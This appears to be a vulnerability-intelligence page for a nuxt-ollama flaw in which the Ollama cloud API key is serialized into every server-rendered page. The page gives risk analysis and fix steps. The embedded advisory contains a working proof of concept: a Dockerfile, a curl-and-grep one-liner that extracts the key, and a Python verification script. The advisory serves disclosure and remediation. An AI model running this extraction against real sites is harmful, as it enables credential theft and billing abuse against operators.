CVE-2026-59158: nuxt-ollama: API key leaked in public SSR payload

GHSA-fxg7-897c-57mp HIGH
Published September 9, 2026
CISO Take

nuxt-ollama versions 1.2.26 through 1.3.0 unconditionally copy the Ollama cloud API key into Nuxt's public runtime config, which gets serialized in plaintext into every server-rendered page's `__NUXT__` script block — meaning any anonymous visitor, crawler, or network observer who loads the homepage can lift the key with a single unauthenticated `curl` request. This is a CVSS 7.5 credential-exposure flaw (CWE-522) with a confirmed working PoC and zero attacker prerequisites; there's no EPSS or KEV data yet since it's a fresh advisory (published 2026-09-09), but the low exploitation bar and the fact that the vulnerable behavior is the officially documented configuration path for cloud Ollama makes accidental mass exposure likely once scanners start grepping for the `api_key` pattern. The package itself shows weak maintenance signals — 31 other CVEs on record and a package risk score of 84/100 — so if it's in your stack, assume other issues exist too. Immediate action: upgrade to 1.3.1, rotate any Ollama cloud API key that was ever deployed with an affected version, and grep production HTML responses / CDN logs for `api_key` leakage as a compromise indicator.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

High severity, trivial exploitability, low current exposure breadth. The flaw requires zero privileges, zero user interaction, and a single HTTP GET — any operator who followed the module's own README to enable cloud Ollama is affected by default, with no opt-out. Impact is capped at confidentiality (API key theft) with no direct integrity or availability compromise from the vulnerability itself, but the stolen key enables downstream abuse (unauthorized inference calls, cost harvesting, possible data exposure if the key has read access to stored models/conversations). No public exploit tooling, Nuclei template, or KEV listing exists yet, and EPSS data is not available for this very recent CVE, so opportunistic mass-exploitation has not been observed — but the attack is so cheap (one curl request) that any targeted reconnaissance of a site known to use nuxt-ollama would find it immediately.

How does the attack unfold?

Discovery
Attacker sends an unauthenticated HTTP GET to the target Nuxt application's homepage.
AML.T0055
Credential extraction
The response HTML contains the `__NUXT__` payload with `public.ollama.api_key` in plaintext, which the attacker parses out.
AML.T0055
Unauthorized API access
The attacker replays the stolen key as a Bearer token against the Ollama cloud API, gaining the operator's level of access.
AML.T0040
Impact
The attacker runs arbitrary inference at the operator's expense, exhausts quota/rate limits, or accesses stored models/conversations tied to the key.
AML.T0034

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Ollama npm >= 1.2.26, < 1.3.1 1.3.1
180.8K 1.8K dependents Pushed 8d ago 15% patched ~36d to patch Full package profile →

Do you use Ollama? You're affected.

How severe is it?

CVSS 3.1
7.5 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I None
A None

What should I do?

1 step
  1. 1) Upgrade to nuxt-ollama@1.3.1 or later immediately — the patch moves api_key into Nuxt's private runtime config, keeping it server-side only. 2) Treat any API key ever used with an affected version (1.2.26–1.3.0) as compromised: rotate it in the Ollama cloud dashboard regardless of whether abuse has been confirmed. 3) Detection: audit historical page HTML / CDN cache / WAF logs for the string api_key inside __NUXT__ or __NUXT_DATA__ payloads to confirm whether exposure actually occurred and for how long. 4) Post-patch verification: curl -s https://<your-app>/ | grep -o 'api_key"\?:\?"[^"]*' should return nothing. 5) As defense in depth, monitor Ollama cloud API usage/billing for anomalous request volume that could indicate an already-stolen key being abused.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
Annex A.6.2 - AI system security controls in operation
NIST AI RMF
MANAGE-2.3 - Mechanisms are in place to monitor and manage third-party AI component risk
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-59158?

nuxt-ollama versions 1.2.26 through 1.3.0 unconditionally copy the Ollama cloud API key into Nuxt's public runtime config, which gets serialized in plaintext into every server-rendered page's `__NUXT__` script block — meaning any anonymous visitor, crawler, or network observer who loads the homepage can lift the key with a single unauthenticated `curl` request. This is a CVSS 7.5 credential-exposure flaw (CWE-522) with a confirmed working PoC and zero attacker prerequisites; there's no EPSS or KEV data yet since it's a fresh advisory (published 2026-09-09), but the low exploitation bar and the fact that the vulnerable behavior is the officially documented configuration path for cloud Ollama makes accidental mass exposure likely once scanners start grepping for the `api_key` pattern. The package itself shows weak maintenance signals — 31 other CVEs on record and a package risk score of 84/100 — so if it's in your stack, assume other issues exist too. Immediate action: upgrade to 1.3.1, rotate any Ollama cloud API key that was ever deployed with an affected version, and grep production HTML responses / CDN logs for `api_key` leakage as a compromise indicator.

Is CVE-2026-59158 actively exploited?

No confirmed active exploitation of CVE-2026-59158 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-59158?

1) Upgrade to `nuxt-ollama@1.3.1` or later immediately — the patch moves `api_key` into Nuxt's private runtime config, keeping it server-side only. 2) Treat any API key ever used with an affected version (1.2.26–1.3.0) as compromised: rotate it in the Ollama cloud dashboard regardless of whether abuse has been confirmed. 3) Detection: audit historical page HTML / CDN cache / WAF logs for the string `api_key` inside `__NUXT__` or `__NUXT_DATA__` payloads to confirm whether exposure actually occurred and for how long. 4) Post-patch verification: `curl -s https://<your-app>/ | grep -o 'api_key"\?:\?"[^"]*'` should return nothing. 5) As defense in depth, monitor Ollama cloud API usage/billing for anomalous request volume that could indicate an already-stolen key being abused.

What systems are affected by CVE-2026-59158?

This vulnerability affects the following AI/ML architecture patterns: LLM API integration (cloud-hosted inference), model serving, SSR web frontends embedding LLM credentials.

What is the CVSS score for CVE-2026-59158?

CVE-2026-59158 has a CVSS v3.1 base score of 7.5 (HIGH).

What is the AI security impact?

Affected AI Architectures

LLM API integration (cloud-hosted inference)model servingSSR web frontends embedding LLM credentials

MITRE ATLAS Techniques

AML.T0034 Cost Harvesting
AML.T0040 AI Model Inference API Access
AML.T0055 Unsecured Credentials

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: Annex A.6.2
NIST AI RMF: MANAGE-2.3
OWASP LLM Top 10: LLM02:2025

What are the technical details?

Original Advisory

## Public Runtime Config Exposes Ollama API Key to Browser Clients ### Summary `nuxt-ollama@1.2.26` unconditionally merges all module options — including `api_key` — into Nuxt's **public** runtime config (`runtimeConfig.public.ollama`). Nuxt serializes `runtimeConfig.public` into the SSR HTML response inside a `<script>` payload block (`window.__NUXT__`), making the API key visible in plaintext to any unauthenticated HTTP client that fetches the page. An attacker with no credentials can steal the Ollama cloud API key with a single HTTP GET request, then use it to make arbitrary requests to the Ollama API at the operator's expense. ### Details The vulnerability is a design flaw in `src/module.ts`. During Nuxt module setup, the entire `_options` object — which contains `api_key` when configured for cloud Ollama as documented in `README.md:71-80` — is merged into the **public** runtime config namespace: ```ts // src/module.ts:35-36 const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions runtimeConfig.public.ollama = defu(currentConfig, _options) ``` Nuxt's SSR pipeline serializes `runtimeConfig.public` and embeds it in every server-rendered HTML page for client-side hydration. This results in the `api_key` appearing verbatim in the `window.__NUXT__` script block: ```html <script> window.__NUXT__={}; window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" // ← secret exposed to browser } } } </script> ``` The browser-side composable (`src/runtime/composables/useOllama.ts`) then reads this value and sends it as an `Authorization: Bearer` header in client-side Ollama API calls: ```ts // src/runtime/composables/useOllama.ts:6-10 const options: ModuleOptions = useRuntimeConfig().public.ollama as ModuleOptions if (options.api_key) { headers.Authorization = `Bearer ${options.api_key}` } return new Ollama({ host, proxy: options.proxy, headers }) ``` The complete data flow from source to sink: 1. `README.md:71-80` — official documentation instructs users to set `ollama.api_key` for cloud Ollama models 2. `src/module.ts:35-36` — **source**: `api_key` is merged into `runtimeConfig.public.ollama` 3. Nuxt SSR runtime — `runtimeConfig.public` is serialized into HTML `__NUXT__` payload 4. `src/runtime/composables/useOllama.ts:6` — browser composable reads `useRuntimeConfig().public.ollama` 5. `src/runtime/composables/useOllama.ts:8-10` — **sink**: `options.api_key` becomes `headers.Authorization` in client-side HTTP request The `api_key` value is never private (i.e., placed in `runtimeConfig.ollama`) and no sanitization removes it from the public namespace before serialization. **Recommended remediation:** Move `api_key` to the private runtime config and remove it from the browser composable: ```diff - const currentConfig = (runtimeConfig.public.ollama ?? {}) as OllamaOptions - runtimeConfig.public.ollama = defu(currentConfig, _options) + const { api_key, ...publicOptions } = _options + const currentPublicConfig = (runtimeConfig.public.ollama ?? {}) as Omit<OllamaOptions, 'api_key'> + runtimeConfig.public.ollama = defu(currentPublicConfig, publicOptions) + const currentPrivateConfig = (runtimeConfig.ollama ?? {}) as Pick<ModuleOptions, 'api_key'> + runtimeConfig.ollama = defu(currentPrivateConfig, { api_key }) ``` The `api_key` should then only be consumed in the server-side utility (`src/runtime/server/utils/useOllama.ts`) via `useRuntimeConfig().ollama.api_key`. ### PoC **Prerequisites:** Docker, Python 3 **Step 1 — Build the vulnerable Nuxt app container** ```bash docker build \ -f /path/to/vuln-001/Dockerfile \ -t nuxt-ollama-vuln-001 \ /path/to/npmAI_735_thoda-dev__nuxt-ollama ``` The Dockerfile uses the nuxt-ollama source at commit `6989ea8` and injects the following `playground/nuxt.config.ts` — the exact cloud configuration pattern from `README.md:71-80`: ```ts export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' // sentinel key } }) ``` **Step 2 — Start the container** ```bash docker run -d --name nuxt-ollama-poc-001 -p 3000:3000 nuxt-ollama-vuln-001 ``` **Step 3 — Retrieve the API key with a single unauthenticated HTTP request** ```bash curl -s http://127.0.0.1:3000/ | grep -o 'api_key":"[^"]*"' # Expected: api_key":"LEAKED_TEST_KEY_123" ``` **Automated PoC script** ```bash python3 /path/to/vuln-001/poc.py ``` **Expected output (confirmed in dynamic reproduction):** ``` window.__NUXT__.config={ public:{ ollama:{ protocol:"https", host:"api.ollama.com", port:"", proxy:false, api_key:"LEAKED_TEST_KEY_123" } } } ``` The sentinel key `LEAKED_TEST_KEY_123` appears in the HTML body of an unauthenticated HTTP GET response, confirming the leak. ### Impact This is a **credentials exposure** vulnerability (CWE-522). Any unauthenticated party — including passive network observers, web crawlers, or anonymous visitors — who fetches the HTML page of an application using `nuxt-ollama` with a cloud `api_key` configured can extract the API key from the `__NUXT__` script payload. **Who is impacted:** - **Operators/developers** who follow the official documentation to configure `ollama.api_key` for cloud Ollama models. They are unaware that the key is being published to every visitor. - **End-users** of applications built with this module are not directly at risk, but their requests may be intercepted or the service degraded if attackers exhaust rate limits or billing quotas on the stolen key. **Potential consequences of key theft:** - Unauthorized use of the Ollama cloud API at the operator's cost - Rate-limit exhaustion or quota abuse - Data exfiltration if the compromised key has read access to stored models or conversations - Reputational damage and service disruption for the affected application The vulnerability does not require any special conditions beyond the operator following the documented configuration; no user interaction or prior authentication is needed by the attacker. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # syntax=docker/dockerfile:1 # VULN-001 PoC: nuxt-ollama@1.2.26 — Public Runtime Config Exposes Ollama API Key # CWE-522: Insufficiently Protected Credentials # CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) # # Vulnerability mechanism: # src/module.ts:36 — runtimeConfig.public.ollama = defu(currentConfig, _options) # This places api_key into Nuxt's PUBLIC runtime config, which Nuxt serializes # into the SSR HTML response (__NUXT__ / __NUXT_DATA__ payload). # Any unauthenticated HTTP client reading the page HTML sees the API key in plaintext. FROM node:20-alpine # Install pnpm matching the repo's packageManager field (pnpm@10.33.4) RUN npm install -g pnpm@10.33.4 WORKDIR /app # Copy the nuxt-ollama source repository COPY repo/ ./ # Install all project dependencies. # .npmrc already sets: shamefully-hoist=true, strict-peer-dependencies=false RUN pnpm install --frozen-lockfile # Override playground/nuxt.config.ts: inject a sentinel api_key to simulate # a real-world cloud Ollama deployment as documented in README.md:71-80. # This is the exact vulnerable configuration pattern described in the docs. RUN cat > playground/nuxt.config.ts << 'EOF' export default defineNuxtConfig({ modules: ['../src/module'], compatibilityDate: '2025-10-29', devtools: { enabled: false }, ollama: { protocol: 'https', host: 'api.ollama.com', api_key: 'LEAKED_TEST_KEY_123' } }) EOF # Replace app.vue with a minimal template that does NOT make Ollama API calls. # The api_key leak occurs in the Nuxt SSR payload, not in the visible template. # The original playground app.vue calls useFetch('/api/ollama') which requires # a live Ollama server; replacing it keeps this PoC self-contained. RUN cat > playground/app.vue << 'EOF' <template> <div>nuxt-ollama VULN-001 PoC — check Nuxt SSR payload for api_key</div> </template> EOF # Build the playground in production SSR mode. # During the module setup() call, src/module.ts:36 merges all _options (including # api_key) into runtimeConfig.public.ollama. At request time, Nuxt serializes # runtimeConfig.public into the HTML response for client-side hydration. RUN pnpm exec nuxi build playground EXPOSE 3000 ENV HOST=0.0.0.0 ENV PORT=3000 ENV NITRO_HOST=0.0.0.0 ENV NITRO_PORT=3000 CMD ["node", "/app/playground/.output/server/index.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001 Proof of Concept Package : nuxt-ollama@1.2.26 (thoda-dev/nuxt-ollama, commit 6989ea8) Title : Public Runtime Config Exposes Ollama API Key to Browser Clients CWE : CWE-522 - Insufficiently Protected Credentials CVSS : 7.5 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Attack summary -------------- When a Nuxt app installs nuxt-ollama and sets ollama.api_key (per README.md:71-80 for cloud Ollama), the module's setup() function in src/module.ts:36 merges the entire _options object—api_key included—into runtimeConfig.public.ollama. Nuxt's SSR pipeline serialises runtimeConfig.public for client-side hydration and embeds it in the HTML response inside a <script> payload block (__NUXT__ / __NUXT_DATA__). Any unauthenticated HTTP GET request to the home page therefore returns the api_key in plain text, with no authentication required. This script: 1. Builds a Docker image from the nuxt-ollama source with a sentinel api_key. 2. Starts the image as a local container. 3. Fetches http://127.0.0.1:3000/ and searches for the sentinel key. 4. Prints an evidence excerpt and writes phase2_result.json. """ import json import os import subprocess import sys import time import urllib.request # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- TARGET_KEY = "LEAKED_TEST_KEY_123" IMAGE_NAME = "nuxt-ollama-vuln-001" CONTAINER_NAME = "nuxt-ollama-poc-001" HOST = "127.0.0.1" PORT = 3000 URL = f"http://{HOST}:{PORT}/" SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__)) PARENT_DIR = os.path.dirname(SCRIPT_DIR) # build context (contains repo/) DOCKERFILE = os.path.join(SCRIPT_DIR, "Dockerfile") RESULT_FILE = os.path.join(SCRIPT_DIR, "phase2_result.json") BUILD_CMD = f"docker build -f {DOCKERFILE} -t {IMAGE_NAME} {PARENT_DIR}" RUN_CMD = ( f"docker run -d --name {CONTAINER_NAME} " f"-p {PORT}:{PORT} {IMAGE_NAME}" ) POC_CMD = f"python3 {os.path.join(SCRIPT_DIR, 'poc.py')}" # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def run_cmd(cmd_list, check=True, capture=False): """Execute a command, printing it first; return CompletedProcess.""" print(f"[cmd] {' '.join(cmd_list)}", flush=True) return subprocess.run( cmd_list, check=check, capture_output=capture, text=bool(capture), ) def cleanup_container(): """Remove the PoC container if it already exists.""" subprocess.run(["docker", "rm", "-f", CONTAINER_NAME], capture_output=True) def wait_for_server(url, timeout=180, interval=5): """Poll url until it returns a non-5xx response or the timeout expires.""" print(f"[*] Waiting for server at {url} (timeout={timeout}s)", flush=True) deadline = time.time() + timeout while time.time() < deadline: try: with urllib.request.urlopen(url, timeout=5) as resp: if resp.status < 500: print(f"[+] Server up — HTTP {resp.status}", flush=True) return True except Exception: pass time.sleep(interval) return False def save_result(data): """Write phase2_result.json and echo its path.""" with open(RESULT_FILE, "w", encoding="utf-8") as fh: json.dump(data, fh, ensure_ascii=False, indent=2) print(f"\n[*] Result saved to {RESULT_FILE}", flush=True) # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): print("=" * 66) print("VULN-001 PoC — nuxt-ollama@1.2.26 API Key Leak via Nuxt SSR Payload") print("=" * 66, flush=True) cleanup_container() # ------------------------------------------------------------------ # Step 1 — Build Docker image # ------------------------------------------------------------------ print("\n[STEP 1] Building Docker image (may take several minutes) ...", flush=True) build_rc = run_cmd( ["docker", "build", "-f", DOCKERFILE, "-t", IMAGE_NAME, PARENT_DIR], check=False, ).returncode if build_rc != 0: save_result({ "passed": False, "verdict": "FAIL", "reason": "Docker 이미지 빌드 실패. docker build 로그를 확인하세요.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"docker build exited with returncode={build_rc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) print("[+] Image built successfully.", flush=True) # ------------------------------------------------------------------ # Step 2 — Start the container # ------------------------------------------------------------------ print("\n[STEP 2] Starting container ...", flush=True) run_rc = run_cmd( ["docker", "run", "-d", "--name", CONTAINER_NAME, "-p", f"{PORT}:{PORT}", IMAGE_NAME], check=False, ).returncode if run_rc != 0: save_result({ "passed": False, "verdict": "FAIL", "reason": "Docker 컨테이너 실행 실패.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": f"docker run exited with returncode={run_rc}", "artifacts": ["Dockerfile", "poc.py"], }) sys.exit(1) # ------------------------------------------------------------------ # Step 3 — Wait for Nuxt SSR server # ------------------------------------------------------------------ print("\n[STEP 3] Waiting for Nuxt SSR server ...", flush=True) if not wait_for_server(URL, timeout=180): logs = subprocess.run( ["docker", "logs", CONTAINER_NAME], capture_output=True, text=True, ) log_snippet = (logs.stdout + logs.stderr)[-2000:] print("[!] Server did not respond within timeout. Container logs:\n", log_snippet) save_result({ "passed": False, "verdict": "INCOMPLETE", "reason": "Nuxt SSR 서버가 180초 이내에 응답하지 않음. 컨테이너 로그 확인 필요.", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": log_snippet, "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1) # ------------------------------------------------------------------ # Step 4 — Fetch the rendered HTML page # ------------------------------------------------------------------ print(f"\n[STEP 4] GET {URL} ...", flush=True) try: with urllib.request.urlopen(URL, timeout=15) as resp: html = resp.read().decode("utf-8", errors="replace") except Exception as exc: save_result({ "passed": False, "verdict": "FAIL", "reason": f"HTTP 요청 실패: {exc}", "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": str(exc), "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1) print(f"[+] Received {len(html)} bytes.", flush=True) # ------------------------------------------------------------------ # Step 5 — Verify TARGET_KEY is present in the HTTP response body # ------------------------------------------------------------------ print(f"\n[STEP 5] Searching for '{TARGET_KEY}' in response ...", flush=True) if TARGET_KEY in html: idx = html.index(TARGET_KEY) start = max(0, idx - 200) end = min(len(html), idx + len(TARGET_KEY) + 200) excerpt = html[start:end].strip() print(f"\n{'='*66}") print(f"[PASS] VULNERABILITY CONFIRMED") print(f"'{TARGET_KEY}' is present in the unauthenticated HTTP response.") print(f"{'='*66}") print(f"Evidence excerpt:\n\n{excerpt}\n") print(f"{'='*66}") save_result({ "passed": True, "verdict": "PASS", "reason": ( "nuxt-ollama@1.2.26의 src/module.ts:36에서 api_key를 " "runtimeConfig.public.ollama에 병합함. Nuxt SSR이 해당 값을 HTML 응답의 " "__NUXT__ 페이로드에 직렬화하여, 인증 없는 HTTP GET 요청만으로 " "LEAKED_TEST_KEY_123이 응답 본문에서 노출됨이 실제 실행으로 확인됨." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": excerpt, "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(0) else: snippet = html[:3000] print(f"[FAIL] '{TARGET_KEY}' NOT found in the HTTP response body.") print("--- HTML (first 3000 chars) ---") print(snippet) save_result({ "passed": False, "verdict": "FAIL", "reason": ( f"'{TARGET_KEY}'가 HTTP 응답 본문에서 발견되지 않음. " "Nuxt 빌드 버전 또는 환경 차이로 인해 직렬화 형식이 다를 수 있음." ), "build_command": BUILD_CMD, "run_command": RUN_CMD, "poc_command": POC_CMD, "evidence": snippet[:1500], "artifacts": ["Dockerfile", "poc.py"], }) cleanup_container() sys.exit(1) if __name__ == "__main__": main() ```

Exploitation Scenario

An attacker with no credentials and no reconnaissance beyond knowing (or discovering via tech fingerprinting) that a target site uses `nuxt-ollama` sends a single anonymous HTTP GET to the site's homepage. The SSR response embeds the operator's Ollama cloud `api_key` in plaintext inside the `window.__NUXT__` script block. The attacker extracts the key with a regex, then replays it as an `Authorization: Bearer` header directly against the Ollama cloud API, gaining the same level of access the legitimate application has — running arbitrary inference at the victim's expense, exhausting rate limits/quota, or, if the key scope permits, reading stored models or conversation history tied to that account.

Weaknesses (CWE)

CWE-522 — Insufficiently Protected Credentials: The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

  • [Architecture and Design] Use an appropriate security mechanism to protect the credentials.
  • [Architecture and Design] Make appropriate use of cryptography to protect the credentials.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Timeline

Published
September 9, 2026
Last Modified
September 9, 2026
First Seen
September 10, 2026

Related Vulnerabilities